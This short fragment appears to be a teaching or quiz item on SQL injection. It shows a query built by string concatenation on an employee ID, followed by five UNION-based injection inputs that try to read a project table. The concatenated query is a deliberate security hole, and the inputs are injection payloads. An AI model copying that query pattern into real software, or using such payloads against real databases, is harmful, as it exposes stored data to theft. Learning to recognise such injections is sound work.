Developer wrote the query as "select empname,phone,e-mail from emp where empid="+empid;
101 union all select * from proj;
101 union all select pname,1,1 from proj;
101 union all select pname from proj;
101 union all select pid,pname, pcost from proj;